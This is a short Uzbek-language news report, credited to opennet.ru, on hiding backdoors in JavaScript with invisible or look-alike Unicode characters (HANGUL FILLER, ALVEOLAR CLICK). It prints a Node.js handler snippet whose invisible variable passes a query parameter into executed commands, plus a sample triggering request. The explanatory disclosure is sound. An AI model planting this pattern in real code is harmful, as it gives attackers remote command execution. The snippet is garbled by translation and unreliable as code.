JavaScript kodidagi harakatlarni yashirish uchun ko'rinmas unicode belgilaridan foydalanish

Ikki tomonlama matnni ko'rsatish tartibini o'zgartiruvchi Unicode belgilaridan foydalanishga asoslangan Trojan Source hujumi usulidan so'ng, JavaScript kodi uchun qo'llaniladigan yashirin harakatlarni kiritishning yana bir usuli chop etildi. Yangi usul harflar toifasiga kiruvchi, lekin koʻrinadigan mazmunga ega boʻlmagan “ㅤ” (kod 0x3164, “HANGUL FILLER”) unicode belgisidan foydalanishga asoslangan. Ushbu belgi tegishli boʻlgan Unicode toifasiga JavaScript oʻzgaruvchilar nomlarida foydalanish uchun ECMAScript 2015 spetsifikatsiyasidan beri ruxsat berilgan, bu esa Notepad++ va VS Code kabi mashhur kod muharrirlarida boshqa oʻzgaruvchilardan farq qilib boʻlmaydigan koʻrinmas oʻzgaruvchilar yoki yangi oʻzgaruvchilar yaratish imkonini beradi.

Misol tariqasida Node.js platformasi uchun kod berilgan bo‘lib, unda bitta “ㅤ” belgisidan iborat o‘zgaruvchidan foydalanib, tajovuzkor tomonidan belgilangan kodni bajarishga imkon beruvchi orqa eshik yashiringan: app.get('/ network_health', async (req, res) = > { const { timeout,ㅤ} = req.query; // aslida “const { timeout,ㅤ \u3164}” deb yozilgan const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // verguldan keyin \u3164 ] belgisi qo'yiladi;

Bir qarashda tashqi parametr orqali faqat kutish vaqtining qiymati o'tadi va bajariladigan buyruqlar bilan massiv zararsiz qat'iy ro'yxatni o'z ichiga oladi. Ammo, aslida, vaqt tugashi o'zgaruvchisidan so'ng, \u3164 belgi kodi bilan boshqa ko'rinmas o'zgaruvchining qiymati tayinlanadi, u ham bajariladigan buyruqlar qatoriga almashtiriladi. Shunday qilib, agar bunday dizayn mavjud bo'lsa, tajovuzkor orqa eshikni faollashtirish va o'z kodini bajarish uchun "https://host:8080/network_health?%E3%85%A4=command" kabi so'rov yuborishi mumkin.

Yana bir misol - undov belgisi ko'rinishini berish uchun ishlatilishi mumkin bo'lgan "ǃ" (ALVEOLAR CLICK) belgisi. Masalan, Node.js 14 da bajarilganda “if(environmentǃ=ENV_PROD){” ifodasi har doim to‘g‘ri bo‘ladi, chunki u farqlarni tekshirmaydi, balki “environmentǃ” o‘zgaruvchisiga ENV_PROD qiymatini belgilaydi. Boshqa chalg'ituvchi unicode belgilar orasida "/", "−", "+", "⩵", "❨", "⫽", "gae" va "∗" mavjud.

Manba: opennet.ru

a Izoh qo'shish